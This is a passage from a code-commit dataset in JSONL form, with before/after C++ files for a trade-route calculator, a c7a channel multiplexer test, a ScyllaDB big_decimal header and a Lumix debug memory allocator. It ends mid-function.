this->memo_efficiency_fitness.value();\r\n}\r\n\r\nu64 RouteNode::get_profit_fitness() {\r\n\tif (!this->memo_profit_fitness.is_initialized()){\r\n\t\tif (this->constraints->require_large_pad && this->station->max_landing_pad_size < 1)\r\n\t\t\tthis->memo_profit_fitness = 0;\r\n\t\telse{\r\n\t\t\tstd::set<u64> visited;\r\n\t\t\tif (!this->meets_constraints(visited))\r\n\t\t\t\tthis->memo_profit_fitness = 0;\r\n\t\t\telse\r\n\t\t\t\tthis->memo_profit_fitness = this->get_profit();\r\n\t\t}\r\n\t}\r\n\treturn this->memo_profit_fitness.value();\r\n}\r\n\r\ndouble RouteNode::ls_to_cost(double ls){\r\n\treturn ls > 0 ? sqrt(ls) * 1.8973665961010275991993361266596 : 0;\r\n}\r\n\r\ndouble RouteNode::get_cost(bool ignore_src, bool ignore_dst) const{\r\n\tif (!this->previous_segment)\r\n\t\treturn 0;\r\n\tdouble ret = this->approximate_distance \/ 7.5 * 30;\r\n\tdouble ls = 0;\r\n\tauto station_src = previous_segment->station;\r\n\tif (station_src->system->id == this->station->system->id){\r\n\t\tif (!station_src->distance_to_star.is_initialized() && !this->station->distance_to_star.is_initialized())\r\n\t\t\tls = 2500;\r\n\t\telse{\r\n\t\t\tls = station_src->distance_to_star.value_or(5000) - this->station->distance_to_star.value_or(5000);\r\n\t\t\tif (ls < 0)\r\n\t\t\t\tls = -ls;\r\n\t\t}\r\n\t}else{\r\n\t\tif (!ignore_src)\r\n\t\t\tls += station_src->distance_to_star.value_or(5000);\r\n\t\tif (!ignore_dst)\r\n\t\t\tls += this->station->distance_to_star.value_or(5000);\r\n\t}\r\n\tret += this->ls_to_cost(ls);\r\n\treturn ret;\r\n}\r\n\r\nunsigned RouteNode::get_max_quantity(){\r\n\tif (!this->previous_segment)\r\n\t\tthrow std::exception(\"Incorrect implementation\");\r\n\tif (!this->memo_quantity.is_initialized()){\r\n\t\tauto sell_price = this->previous_segment->station->find_sell_price(this->commodity);\r\n\t\tauto ret = std::min(unsigned(this-> available_funds \/ sell_price), this->constraints->max_capacity);\r\n\t\tthis->memo_expenditure = ret * sell_price;\r\n\t\tthis->memo_quantity = ret;\r\n\t}\r\n\treturn this->memo_quantity.value();\r\n}\r\n\r\nvoid RouteNode::get_funds(){\r\n\tassert(this->previous_segment);\r\n\tthis->available_funds = this->previous_segment->available_funds + (u64)this->previous_segment->get_segment_profit();\r\n}\r\n\r\nu64 RouteNode::get_segment_profit(){\r\n\tif (!this->previous_segment || !this->commodity)\r\n\t\treturn 0;\r\n\treturn this->get_max_quantity() * this->profit_per_unit;\r\n}\r\n\r\nRouteNodeInterop *RouteNode::to_interop(){\r\n\tauto ret = new RouteNodeInterop;\r\n\tmemset(ret, 0, sizeof(*ret));\r\n\tret->station_id = this->station->id;\r\n\tret->system_id = this->station->system->id;\r\n\tif (this->previous_segment){\r\n\t\tret->previous = this->previous_segment->to_interop();\r\n\t\tif (this->commodity){\r\n\t\t\tret->commodity_id = this->commodity->id;\r\n\t\t\tret->quantity = this->get_max_quantity();\r\n\t\t\tret->expenditure = this->get_segment_expenditure();\r\n\t\t}else\r\n\t\t\tret->commodity_id = std::numeric_limits<decltype(ret->commodity_id)>::max();\r\n\t\tret->profit_per_unit = this->profit_per_unit;\r\n\t\tret->efficiency = this->get_efficiency();\r\n\t\tret->accumulated_profit = this->get_profit();\r\n\t\tret->cost = this->get_cost();\r\n\t}\r\n\treturn ret;\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>wait for torrent to be seeding before trying to connect to it, in test_ssl<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*******************************************************************************\n * tests\/data\/channel_multiplexer_test.cpp\n *\n * Part of Project c7a.\n *\n * Copyright (C) 2015 Timo Bingmann <tb@panthema.net>\n * Copyright (C) 2015 Tobias Sturm  <tobias.sturm@student.kit.edu>\n *\n * This file has no license. Only Chuck Norris can compile it.\n ******************************************************************************\/\n\n#include <c7a\/data\/channel_multiplexer.hpp>\n#include <c7a\/data\/channel.hpp>\n#include <c7a\/data\/manager.hpp>\n#include <c7a\/net\/group.hpp>\n#include <c7a\/net\/dispatcher_thread.hpp>\n#include <c7a\/common\/cyclic_barrier.hpp>\n\n#include <gtest\/gtest.h>\n#include <string>\n\nusing namespace c7a;\nusing namespace c7a::common;\nusing namespace c7a::net;\nusing Manager = c7a::data::Manager;\nusing Group = c7a::net::Group;\n\nstatic const bool debug = true;\n\nstruct ChannelMultiplexerTest : public::testing::Test {\n    ChannelMultiplexerTest()\n        : dispatcher(\"dispatcher\"), manager(dispatcher), single_group(0, 1) {\n        manager.Connect(&single_group);\n    }\n\n    using WorkerThread = std::function<void(Manager&)>;\n    void FunctionSelect(Group* group, WorkerThread f1, WorkerThread f2, WorkerThread f3 = [](Manager&) { }) {\n        Manager manager(dispatcher);\n        manager.Connect(group);\n        switch (group->MyRank()) {\n        case 0:\n            GetThreadDirectory().NameThisThread(\"t0\");\n            f1(manager);\n            break;\n        case 1:\n            GetThreadDirectory().NameThisThread(\"t1\");\n            f2(manager);\n            break;\n        case 2:\n            GetThreadDirectory().NameThisThread(\"t2\");\n            f3(manager);\n            break;\n        }\n        barrier->Await();\n    }\n    void Execute(WorkerThread f1, WorkerThread f2, WorkerThread f3) {\n        barrier = new Barrier(3);\n        Group::ExecuteLocalMock(3,\n                                [ = ](Group* g) {\n                                    FunctionSelect(g, f1, f2, f3);\n                                });\n        free(barrier);\n    }\n\n    void Execute(WorkerThread f1, WorkerThread f2) {\n        barrier = new Barrier(2);\n        Group::ExecuteLocalMock(2,\n                                [ = ](Group* g) {\n                                    FunctionSelect(g, f1, f2);\n                                });\n        free(barrier);\n    }\n\n    void Execute(WorkerThread f1) {\n        barrier = new Barrier(1);\n        Group::ExecuteLocalMock(1,\n                                [ = ](Group* g) {\n                                    FunctionSelect(g, f1, [](Manager&) { });\n                                });\n        free(barrier);\n    }\n    DispatcherThread dispatcher;\n    Manager          manager;\n    Group            single_group;\n    Barrier          * barrier;\n};\n\n\/\/ open a Channel via data::Manager, and send a short message to all workers,\n\/\/ receive and check the message.\nvoid TalkAllToAllViaChannel(net::Group* net) {\n    common::GetThreadDirectory().NameThisThread(\n        \"chmp\" + std::to_string(net->MyRank()));\n\n    net::DispatcherThread dispatcher(\n        \"chmp\" + std::to_string(net->MyRank()) + \"-dp\");\n\n    unsigned char send_buffer[123];\n    for (size_t i = 0; i != sizeof(send_buffer); ++i)\n        send_buffer[i] = i;\n\n    static const size_t iterations = 1000;\n\n    data::ChannelMultiplexer<1024> cmp(dispatcher);\n    cmp.Connect(net);\n    {\n        data::ChannelId id = cmp.AllocateNext();\n\n        \/\/ open Writers and send a message to all workers\n\n        auto writer = cmp.GetOrCreateChannel(id)->OpenWriters();\n\n        for (size_t tgt = 0; tgt != net->Size(); ++tgt) {\n            writer[tgt](\"hello I am \" + std::to_string(net->MyRank())\n                        + \" calling \" + std::to_string(tgt));\n\n            writer[tgt].Flush();\n\n            \/\/ write a few MiBs of oddly sized data\n            for (size_t r = 0; r != iterations; ++r) {\n                writer[tgt].Append(send_buffer, sizeof(send_buffer));\n            }\n\n            writer[tgt].Flush();\n        }\n\n        \/\/ open Readers and receive message from all workers\n\n        auto reader = cmp.GetOrCreateChannel(id)->OpenReaders();\n\n        for (size_t src = 0; src != net->Size(); ++src) {\n            std::string msg = reader[src].Next<std::string>();\n\n            ASSERT_EQ(msg, \"hello I am \" + std::to_string(src)\n                      + \" calling \" + std::to_string(net->MyRank()));\n\n            sLOG << net->MyRank() << \"got msg from\" << src;\n\n            \/\/ read a few MiBs of oddly sized data\n            unsigned char recv_buffer[sizeof(send_buffer)];\n\n            for (size_t r = 0; r != iterations; ++r) {\n                reader[src].Read(recv_buffer, sizeof(recv_buffer));\n\n                ASSERT_TRUE(std::equal(send_buffer,\n                                       send_buffer + sizeof(send_buffer),\n                                       recv_buffer));\n            }\n        }\n    }\n}\n\nTEST(ChannelMultiplexer, TalkAllToAllViaChannelForManyNetSizes) {\n    \/\/ test for all network mesh sizes 1-8:\n    for (size_t i = 1; i <= 8; ++i) {\n        net::Group::ExecuteLocalMock(i, TalkAllToAllViaChannel);\n    }\n}\n\nTEST_F(ChannelMultiplexerTest, ReadCompleteChannel) {\n    Barrier sync(3);\n    auto w0 = [&sync](Manager& manager) {\n                  auto c = manager.GetNewChannel();\n                  auto writers = c->OpenWriters();\n                  std::string msg1 = \"I came from worker 0\";\n                  std::string msg2 = \"I am another message from worker 0\";\n                  writers[2](msg1);\n                  \/\/writers[2].Flush();\n                  writers[2](msg2);\n                  for (auto& w : writers) {\n                      sLOG << \"close worker\";\n                      w.Close();\n                  }\n              };\n    auto w1 = [&sync](Manager& manager) {\n                  auto c = manager.GetNewChannel();\n                  auto writers = c->OpenWriters();\n                  std::string msg1 = \"I came from worker 1\";\n                  writers[2](msg1);\n                  for (auto& w : writers) {\n                      sLOG << \"close worker\";\n                      w.Close();\n                  }\n              };\n    auto w2 = [&sync](Manager& manager) {\n                  auto c = manager.GetNewChannel();\n                  auto writers = c->OpenWriters();\n                  for (auto& w : writers) {\n                      sLOG << \"close worker\";\n                      w.Close();\n                  }\n                  auto file = c->ReadCompleteChannel();\n                  for (size_t i = 0; i < file.NumBlocks(); i++)\n                      sLOG << \"block\" << i << file.BlockAsString(i);\n\n                  auto reader = file.GetReader();\n                  ASSERT_EQ(\"I came from worker 0\", reader.Next<std::string>());\n                  ASSERT_EQ(\"I am another message from worker 0\", reader.Next<std::string>());\n                  ASSERT_EQ(\"I came from worker 1\", reader.Next<std::string>());\n              };\n    Execute(w0, w1, w2);\n}\n\n\/******************************************************************************\/\n<commit_msg>do not test 1..8, instead 1, 2, 5, 32 workers<commit_after>\/*******************************************************************************\n * tests\/data\/channel_multiplexer_test.cpp\n *\n * Part of Project c7a.\n *\n * Copyright (C) 2015 Timo Bingmann <tb@panthema.net>\n * Copyright (C) 2015 Tobias Sturm  <tobias.sturm@student.kit.edu>\n *\n * This file has no license. Only Chuck Norris can compile it.\n ******************************************************************************\/\n\n#include <c7a\/data\/channel_multiplexer.hpp>\n#include <c7a\/data\/channel.hpp>\n#include <c7a\/data\/manager.hpp>\n#include <c7a\/net\/group.hpp>\n#include <c7a\/net\/dispatcher_thread.hpp>\n#include <c7a\/common\/cyclic_barrier.hpp>\n\n#include <gtest\/gtest.h>\n#include <string>\n\nusing namespace c7a;\nusing namespace c7a::common;\nusing namespace c7a::net;\nusing Manager = c7a::data::Manager;\nusing Group = c7a::net::Group;\n\nstatic const bool debug = true;\n\nstruct ChannelMultiplexerTest : public::testing::Test {\n    ChannelMultiplexerTest()\n        : dispatcher(\"dispatcher\"), manager(dispatcher), single_group(0, 1) {\n        manager.Connect(&single_group);\n    }\n\n    using WorkerThread = std::function<void(Manager&)>;\n    void FunctionSelect(Group* group, WorkerThread f1, WorkerThread f2, WorkerThread f3 = [](Manager&) { }) {\n        Manager manager(dispatcher);\n        manager.Connect(group);\n        switch (group->MyRank()) {\n        case 0:\n            GetThreadDirectory().NameThisThread(\"t0\");\n            f1(manager);\n            break;\n        case 1:\n            GetThreadDirectory().NameThisThread(\"t1\");\n            f2(manager);\n            break;\n        case 2:\n            GetThreadDirectory().NameThisThread(\"t2\");\n            f3(manager);\n            break;\n        }\n        barrier->Await();\n    }\n    void Execute(WorkerThread f1, WorkerThread f2, WorkerThread f3) {\n        barrier = new Barrier(3);\n        Group::ExecuteLocalMock(3,\n                                [ = ](Group* g) {\n                                    FunctionSelect(g, f1, f2, f3);\n                                });\n        free(barrier);\n    }\n\n    void Execute(WorkerThread f1, WorkerThread f2) {\n        barrier = new Barrier(2);\n        Group::ExecuteLocalMock(2,\n                                [ = ](Group* g) {\n                                    FunctionSelect(g, f1, f2);\n                                });\n        free(barrier);\n    }\n\n    void Execute(WorkerThread f1) {\n        barrier = new Barrier(1);\n        Group::ExecuteLocalMock(1,\n                                [ = ](Group* g) {\n                                    FunctionSelect(g, f1, [](Manager&) { });\n                                });\n        free(barrier);\n    }\n    DispatcherThread dispatcher;\n    Manager          manager;\n    Group            single_group;\n    Barrier          * barrier;\n};\n\n\/\/ open a Channel via data::Manager, and send a short message to all workers,\n\/\/ receive and check the message.\nvoid TalkAllToAllViaChannel(net::Group* net) {\n    common::GetThreadDirectory().NameThisThread(\n        \"chmp\" + std::to_string(net->MyRank()));\n\n    net::DispatcherThread dispatcher(\n        \"chmp\" + std::to_string(net->MyRank()) + \"-dp\");\n\n    unsigned char send_buffer[123];\n    for (size_t i = 0; i != sizeof(send_buffer); ++i)\n        send_buffer[i] = i;\n\n    static const size_t iterations = 1000;\n\n    data::ChannelMultiplexer<1024> cmp(dispatcher);\n    cmp.Connect(net);\n    {\n        data::ChannelId id = cmp.AllocateNext();\n\n        \/\/ open Writers and send a message to all workers\n\n        auto writer = cmp.GetOrCreateChannel(id)->OpenWriters();\n\n        for (size_t tgt = 0; tgt != net->Size(); ++tgt) {\n            writer[tgt](\"hello I am \" + std::to_string(net->MyRank())\n                        + \" calling \" + std::to_string(tgt));\n\n            writer[tgt].Flush();\n\n            \/\/ write a few MiBs of oddly sized data\n            for (size_t r = 0; r != iterations; ++r) {\n                writer[tgt].Append(send_buffer, sizeof(send_buffer));\n            }\n\n            writer[tgt].Flush();\n        }\n\n        \/\/ open Readers and receive message from all workers\n\n        auto reader = cmp.GetOrCreateChannel(id)->OpenReaders();\n\n        for (size_t src = 0; src != net->Size(); ++src) {\n            std::string msg = reader[src].Next<std::string>();\n\n            ASSERT_EQ(msg, \"hello I am \" + std::to_string(src)\n                      + \" calling \" + std::to_string(net->MyRank()));\n\n            sLOG << net->MyRank() << \"got msg from\" << src;\n\n            \/\/ read a few MiBs of oddly sized data\n            unsigned char recv_buffer[sizeof(send_buffer)];\n\n            for (size_t r = 0; r != iterations; ++r) {\n                reader[src].Read(recv_buffer, sizeof(recv_buffer));\n\n                ASSERT_TRUE(std::equal(send_buffer,\n                                       send_buffer + sizeof(send_buffer),\n                                       recv_buffer));\n            }\n        }\n    }\n}\n\nTEST(ChannelMultiplexer, TalkAllToAllViaChannelForManyNetSizes) {\n    \/\/ test for all network mesh sizes 1, 2, 5, 32:\n    net::Group::ExecuteLocalMock(1, TalkAllToAllViaChannel);\n    net::Group::ExecuteLocalMock(2, TalkAllToAllViaChannel);\n    net::Group::ExecuteLocalMock(5, TalkAllToAllViaChannel);\n    net::Group::ExecuteLocalMock(32, TalkAllToAllViaChannel);\n}\n\nTEST_F(ChannelMultiplexerTest, ReadCompleteChannel) {\n    Barrier sync(3);\n    auto w0 = [&sync](Manager& manager) {\n                  auto c = manager.GetNewChannel();\n                  auto writers = c->OpenWriters();\n                  std::string msg1 = \"I came from worker 0\";\n                  std::string msg2 = \"I am another message from worker 0\";\n                  writers[2](msg1);\n                  \/\/writers[2].Flush();\n                  writers[2](msg2);\n                  for (auto& w : writers) {\n                      sLOG << \"close worker\";\n                      w.Close();\n                  }\n              };\n    auto w1 = [&sync](Manager& manager) {\n                  auto c = manager.GetNewChannel();\n                  auto writers = c->OpenWriters();\n                  std::string msg1 = \"I came from worker 1\";\n                  writers[2](msg1);\n                  for (auto& w : writers) {\n                      sLOG << \"close worker\";\n                      w.Close();\n                  }\n              };\n    auto w2 = [&sync](Manager& manager) {\n                  auto c = manager.GetNewChannel();\n                  auto writers = c->OpenWriters();\n                  for (auto& w : writers) {\n                      sLOG << \"close worker\";\n                      w.Close();\n                  }\n                  auto file = c->ReadCompleteChannel();\n                  for (size_t i = 0; i < file.NumBlocks(); i++)\n                      sLOG << \"block\" << i << file.BlockAsString(i);\n\n                  auto reader = file.GetReader();\n                  ASSERT_EQ(\"I came from worker 0\", reader.Next<std::string>());\n                  ASSERT_EQ(\"I am another message from worker 0\", reader.Next<std::string>());\n                  ASSERT_EQ(\"I came from worker 1\", reader.Next<std::string>());\n              };\n    Execute(w0, w1, w2);\n}\n\n\/******************************************************************************\/\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>add display property of device and storage<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (C) 2015 ScyllaDB\n *\/\n\n\/*\n * This file is part of Scylla.\n *\n * Scylla is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Scylla is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Scylla.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#pragma once\n\n#include <boost\/multiprecision\/cpp_int.hpp>\n\n#include \"bytes.hh\"\n\nclass big_decimal {\nprivate:\n    int32_t _scale;\n    boost::multiprecision::cpp_int _unscaled_value;\npublic:\n    enum class rounding_mode {\n        HALF_EVEN,\n    };\n\n    big_decimal(sstring_view text);\n    big_decimal() : big_decimal(0, 0) {}\n    big_decimal(int32_t scale, boost::multiprecision::cpp_int unscaled_value)\n        : _scale(scale), _unscaled_value(unscaled_value)\n    { }\n\n    int32_t scale() const { return _scale; }\n    const boost::multiprecision::cpp_int& unscaled_value() const { return _unscaled_value; }\n\n    sstring to_string() const;\n\n    int compare(const big_decimal& other) const;\n\n    big_decimal& operator+=(const big_decimal& other);\n    big_decimal& operator-=(const big_decimal& other);\n    big_decimal operator+(const big_decimal& other) const;\n    big_decimal operator-(const big_decimal& other) const;\n    big_decimal div(const ::uint64_t y, const rounding_mode mode) const;\n    friend bool operator<(const big_decimal& x, const big_decimal& y) { return x.compare(y) < 0; }\n    friend bool operator<=(const big_decimal& x, const big_decimal& y) { return x.compare(y) <= 0; }\n    friend bool operator==(const big_decimal& x, const big_decimal& y) { return x.compare(y) == 0; }\n    friend bool operator!=(const big_decimal& x, const big_decimal& y) { return x.compare(y) != 0; }\n    friend bool operator>=(const big_decimal& x, const big_decimal& y) { return x.compare(y) >= 0; }\n    friend bool operator>(const big_decimal& x, const big_decimal& y) { return x.compare(y) > 0; }\n};\n<commit_msg>utils: make string-based big decimal constructor explicit<commit_after>\/*\n * Copyright (C) 2015 ScyllaDB\n *\/\n\n\/*\n * This file is part of Scylla.\n *\n * Scylla is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Scylla is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Scylla.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#pragma once\n\n#include <boost\/multiprecision\/cpp_int.hpp>\n\n#include \"bytes.hh\"\n\nclass big_decimal {\nprivate:\n    int32_t _scale;\n    boost::multiprecision::cpp_int _unscaled_value;\npublic:\n    enum class rounding_mode {\n        HALF_EVEN,\n    };\n\n    explicit big_decimal(sstring_view text);\n    big_decimal() : big_decimal(0, 0) {}\n    big_decimal(int32_t scale, boost::multiprecision::cpp_int unscaled_value)\n        : _scale(scale), _unscaled_value(unscaled_value)\n    { }\n\n    int32_t scale() const { return _scale; }\n    const boost::multiprecision::cpp_int& unscaled_value() const { return _unscaled_value; }\n\n    sstring to_string() const;\n\n    int compare(const big_decimal& other) const;\n\n    big_decimal& operator+=(const big_decimal& other);\n    big_decimal& operator-=(const big_decimal& other);\n    big_decimal operator+(const big_decimal& other) const;\n    big_decimal operator-(const big_decimal& other) const;\n    big_decimal div(const ::uint64_t y, const rounding_mode mode) const;\n    friend bool operator<(const big_decimal& x, const big_decimal& y) { return x.compare(y) < 0; }\n    friend bool operator<=(const big_decimal& x, const big_decimal& y) { return x.compare(y) <= 0; }\n    friend bool operator==(const big_decimal& x, const big_decimal& y) { return x.compare(y) == 0; }\n    friend bool operator!=(const big_decimal& x, const big_decimal& y) { return x.compare(y) != 0; }\n    friend bool operator>=(const big_decimal& x, const big_decimal& y) { return x.compare(y) >= 0; }\n    friend bool operator>(const big_decimal& x, const big_decimal& y) { return x.compare(y) > 0; }\n};\n<|endoftext|>"}
{"text":"<commit_before>#include \"engine\/debug\/debug.h\"\n#include \"engine\/mt\/atomic.h\"\n#include \"engine\/string.h\"\n#include \"engine\/system.h\"\n#include <cstdlib>\n#include <cstdio>\n\n\nstatic bool g_is_crash_reporting_enabled = false;\n\n\nnamespace Lumix\n{\n\n\nnamespace Debug\n{\n\n\nvoid debugOutput(const char* message)\n{\n\tputs(message);\n}\n\n\nvoid debugBreak()\n{\n\tabort();\n}\n\n\nint StackTree::s_instances = 0;\n\n\nclass StackNode\n{\npublic:\n\t~StackNode()\n\t{\n\t\tdelete m_next;\n\t\tdelete m_first_child;\n\t}\n\n\tvoid* m_instruction;\n\tStackNode* m_next;\n\tStackNode* m_first_child;\n\tStackNode* m_parent;\n};\n\n\nStackTree::StackTree()\n{\n}\n\n\nStackTree::~StackTree()\n{\n}\n\n\nvoid StackTree::refreshModuleList()\n{\n}\n\n\nint StackTree::getPath(StackNode* node, StackNode** output, int max_size)\n{\n\treturn 0;\n}\n\n\nStackNode* StackTree::getParent(StackNode* node)\n{\n\treturn nullptr;\n}\n\n\nbool StackTree::getFunction(StackNode* node, char* out, int max_size, int* line)\n{\n\treturn false;\n}\n\n\nvoid StackTree::printCallstack(StackNode* node)\n{\n}\n\n\nStackNode* StackTree::insertChildren(StackNode* root_node, void** instruction, void** stack)\n{\n\treturn nullptr;\n}\n\n\nStackNode* StackTree::record()\n{\n\treturn nullptr;\n}\n\n\nstatic const uint32 UNINITIALIZED_MEMORY_PATTERN = 0xCD;\nstatic const uint32 FREED_MEMORY_PATTERN = 0xDD;\nstatic const uint32 ALLOCATION_GUARD = 0xFDFDFDFD;\n\n\n\nAllocator::Allocator(IAllocator& source)\n\t: m_source(source)\n\t, m_root(nullptr)\n\t, m_mutex(false)\n\t, m_total_size(0)\n\t, m_is_fill_enabled(true)\n\t, m_are_guards_enabled(true)\n{\n\tm_sentinels[0].next = &m_sentinels[1];\n\tm_sentinels[0].previous = nullptr;\n\tm_sentinels[0].stack_leaf = nullptr;\n\tm_sentinels[0].size = 0;\n\tm_sentinels[0].align = 0;\n\n\tm_sentinels[1].next = nullptr;\n\tm_sentinels[1].previous = &m_sentinels[0];\n\tm_sentinels[1].stack_leaf = nullptr;\n\tm_sentinels[1].size = 0;\n\tm_sentinels[1].align = 0;\n\n\tm_root = &m_sentinels[1];\n}\n\n\nAllocator::~Allocator()\n{\n\tAllocationInfo* last_sentinel = &m_sentinels[1];\n\tif (m_root != last_sentinel)\n\t{\n\t\tdebugOutput(\"Memory leaks detected!\\n\");\n\t\tAllocationInfo* info = m_root;\n\t\twhile (info != last_sentinel)\n\t\t{\n\t\t\tchar tmp[2048];\n\t\t\tsprintf(tmp, \"\\nAllocation size : %Iu, memory %p\\n\", info->size, info + sizeof(info));\n\t\t\tdebugOutput(tmp);\n\t\t\tm_stack_tree.printCallstack(info->stack_leaf);\n\t\t\tinfo = info->next;\n\t\t}\n\t\tASSERT(false);\n\t}\n}\n\n\nvoid Allocator::lock()\n{\n\tm_mutex.lock();\n}\n\n\nvoid Allocator::unlock()\n{\n\tm_mutex.unlock();\n}\n\n\nvoid Allocator::checkGuards()\n{\n\tif (m_are_guards_enabled) return;\n\n\tauto* info = m_root;\n\twhile (info)\n\t{\n\t\tauto user_ptr = getUserPtrFromAllocationInfo(info);\n\t\tvoid* system_ptr = getSystemFromUser(user_ptr);\n\t\tASSERT(*(uint32*)system_ptr == ALLOCATION_GUARD);\n\t\tASSERT(*(uint32*)((uint8*)user_ptr + info->size) == ALLOCATION_GUARD);\n\n\t\tinfo = info->next;\n\t}\n}\n\n\nsize_t Allocator::getAllocationOffset()\n{\n\treturn sizeof(AllocationInfo) + (m_are_guards_enabled ? sizeof(ALLOCATION_GUARD) : 0);\n}\n\n\nsize_t Allocator::getNeededMemory(size_t size)\n{\n\treturn size + sizeof(AllocationInfo) + (m_are_guards_enabled ? sizeof(ALLOCATION_GUARD) << 1 : 0);\n}\n\n\nsize_t Allocator::getNeededMemory(size_t size, size_t align)\n{\n\treturn size + sizeof(AllocationInfo) + (m_are_guards_enabled ? sizeof(ALLOCATION_GUARD) << 1 : 0) +\n\t\talign;\n}\n\n\nAllocator::AllocationInfo* Allocator::getAllocationInfoFromSystem(void* system_ptr)\n{\n\treturn (AllocationInfo*)(m_are_guards_enabled ? (uint8*)system_ptr + sizeof(ALLOCATION_GUARD)\n\t\t: system_ptr);\n}\n\n\nvoid* Allocator::getUserPtrFromAllocationInfo(AllocationInfo* info)\n{\n\treturn ((uint8*)info + sizeof(AllocationInfo));\n}\n\n\nAllocator::AllocationInfo* Allocator::getAllocationInfoFromUser(void* user_ptr)\n{\n\treturn (AllocationInfo*)((uint8*)user_ptr - sizeof(AllocationInfo));\n}\n\n\nuint8* Allocator::getUserFromSystem(void* system_ptr, size_t align)\n{\n\tsize_t diff = (m_are_guards_enabled ? sizeof(ALLOCATION_GUARD) : 0) + sizeof(AllocationInfo);\n\n\tif (align) diff += (align - diff % align) % align;\n\treturn (uint8*)system_ptr + diff;\n}\n\n\nuint8* Allocator::getSystemFromUser(void* user_ptr)\n{\n\tAllocationInfo* info = getAllocationInfoFromUser(user_ptr);\n\tsize_t diff = (m_are_guards_enabled ? sizeof(ALLOCATION_GUARD) : 0) + sizeof(AllocationInfo);\n\tif (info->align) diff += (info->align - diff % info->align) % info->align;\n\treturn (uint8*)user_ptr - diff;\n}\n\n\nvoid* Allocator::reallocate(void* user_ptr, size_t size)\n{\n#ifndef _DEBUG\n\treturn m_source.reallocate(user_ptr, size);\n#else\n\tif (user_ptr == nullptr) return allocate(size);\n\tif (size == 0) return nullptr;\n\n\tvoid* new_data = allocate(size);\n\tif (!new_data) return nullptr;\n\n\tAllocationInfo* info = getAllocationInfoFromUser(user_ptr);\n\tcopyMemory(new_data, user_ptr, info->size < size ? info->size : size);\n\n\tdeallocate(user_ptr);\n\n\treturn new_data;\n#endif\n}\n\n\nvoid* Allocator::allocate_aligned(size_t size, size_t align)\n{\n#ifndef _DEBUG\n\treturn m_source.allocate_aligned(size, align);\n#else\n\tvoid* system_ptr;\n\tAllocationInfo* info;\n\tuint8* user_ptr;\n\n\tsize_t system_size = getNeededMemory(size, align);\n\t{\n\t\tMT::SpinLock lock(m_mutex);\n\t\tsystem_ptr = m_source.allocate_aligned(system_size, align);\n\t\tuser_ptr = getUserFromSystem(system_ptr, align);\n\t\tinfo = new (NewPlaceholder(), getAllocationInfoFromUser(user_ptr)) AllocationInfo();\n\n\t\tinfo->previous = m_root->previous;\n\t\tm_root->previous->next = info;\n\n\t\tinfo->next = m_root;\n\t\tm_root->previous = info;\n\n\t\tm_root = info;\n\n\t\tm_total_size += size;\n\t} \/\/ because of the SpinLock\n\n\tinfo->align = uint16(align);\n\tinfo->stack_leaf = m_stack_tree.record();\n\tinfo->size = size;\n\tif (m_is_fill_enabled)\n\t{\n\t\tmemset(user_ptr, UNINITIALIZED_MEMORY_PATTERN, size);\n\t}\n\n\tif (m_are_guards_enabled)\n\t{\n\t\t*(uint32*)system_ptr = ALLOCATION_GUARD;\n\t\t*(uint32*)((uint8*)system_ptr + system_size - sizeof(ALLOCATION_GUARD)) = ALLOCATION_GUARD;\n\t}\n\n\treturn user_ptr;\n#endif\n}\n\n\nvoid Allocator::deallocate_aligned(void* user_ptr)\n{\n#ifndef _DEBUG\n\tm_source.deallocate_aligned(user_ptr);\n#else\n\tif (user_ptr)\n\t{\n\t\tAllocationInfo* info = getAllocationInfoFromUser(user_ptr);\n\t\tvoid* system_ptr = getSystemFromUser(user_ptr);\n\t\tif (m_is_fill_enabled)\n\t\t{\n\t\t\tmemset(user_ptr, FREED_MEMORY_PATTERN, info->size);\n\t\t}\n\n\t\tif (m_are_guards_enabled)\n\t\t{\n\t\t\tASSERT(*(uint32*)system_ptr == ALLOCATION_GUARD);\n\t\t\tsize_t system_size = getNeededMemory(info->size, info->align);\n\t\t\tASSERT(*(uint32*)((uint8*)system_ptr + system_size - sizeof(ALLOCATION_GUARD)) == ALLOCATION_GUARD);\n\t\t}\n\n\t\t{\n\t\t\tMT::SpinLock lock(m_mutex);\n\t\t\tif (info == m_root)\n\t\t\t{\n\t\t\t\tm_root = info->next;\n\t\t\t}\n\t\t\tinfo->previous->next = info->next;\n\t\t\tinfo->next->previous = info->previous;\n\n\t\t\tm_total_size -= info->size;\n\t\t} \/\/ because of the SpinLock\n\n\t\tinfo->~AllocationInfo();\n\n\t\tm_source.deallocate_aligned((void*)system_ptr);\n\t}\n#endif\n}\n\n\nvoid* Allocator::reallocate_aligned(void* user_ptr, size_t size, size_t align)\n{\n#ifndef _DEBUG\n\treturn m_source.reallocate_aligned(user_ptr, size, align);\n#else\n\tif (user_ptr == nullptr) return allocate_aligned(size, align);\n\tif (size == 0) return nullptr;\n\n\tvoid* new_data = allocate_aligned(size, align);\n\tif (!new_data) return nullptr;\n\n\tAllocationInfo* info = getAllocationInfoFromUser(user_ptr);\n\tcopyMemory(new_data, user_ptr, info->size < size ? info->size : size);\n\n\tdeallocate_aligned(user_ptr);\n\n\treturn new_data;\n#endif\n}\n\n\nvoid* Allocator::allocate(size_t size)\n{\n#ifndef _DEBUG\n\treturn m_source.allocate(size);\n#else\n\tvoid* system_ptr;\n\tAllocationInfo* info;\n\tsize_t system_size = getNeededMemory(size);\n\t{\n\t\tMT::SpinLock lock(m_mutex);\n\t\tsystem_ptr = m_source.allocate(system_size);\n\t\tinfo = new 